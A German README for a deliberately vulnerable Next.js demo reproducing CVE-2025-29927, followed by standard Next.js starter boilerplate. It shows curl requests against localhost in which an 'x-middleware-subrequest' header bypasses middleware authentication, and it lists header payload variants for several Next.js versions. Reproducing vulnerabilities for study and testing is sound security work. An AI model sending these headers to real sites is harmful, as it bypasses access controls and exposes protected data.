
Nicht verwenden. Verwundbar.
Dieses Repository ist eine Reproduktion der CVE-2025-29927 Schwachstelle im Paket next
/api/hello verweigert$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5-mal in den speziellen x-middleware-subrequest-Header verschachteln:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 und 13 verwendeten eine andere Namenskonvention für die Middleware-Datei (_middleware.js), die in Next.js 14 in middleware.js geändert wurde. Diese Schwachstelle kann in älteren Versionen durch die Verwendung der Datei _middleware.js ausgenutzt werden.
Zum Beispiel würden die folgenden Payloads gelten, abhängig von der Next.js-Version und deiner Routing-Konvention:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (für Next.js-Versionen 12.2 mit der Datei middleware.js im Stammverzeichnis der App, nicht innerhalb des Verzeichnisses pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (für Next.js-Versionen 11 und bis 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloStarte zuerst den Entwicklungsserver:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Öffne http://localhost:3000 in deinem Browser, um das Ergebnis zu sehen.
Du kannst die Seite bearbeiten, indem du app/page.js änderst. Die Seite wird automatisch aktualisiert, während du die Datei bearbeitest.
Dieses Projekt verwendet next/font, um Geist, eine neue Schriftfamilie für Vercel, automatisch zu optimieren und zu laden.
Um mehr über Next.js zu erfahren, wirf einen Blick auf die folgenden Ressourcen:
Du kannst dir das Next.js-GitHub-Repository ansehen – dein Feedback und deine Beiträge sind willkommen!
Der einfachste Weg, deine Next.js-App bereitzustellen, ist die Nutzung der Vercel-Plattform der Entwickler von Next.js.
Weitere Details findest du in unserer Dokumentation zur Bereitstellung von Next.js.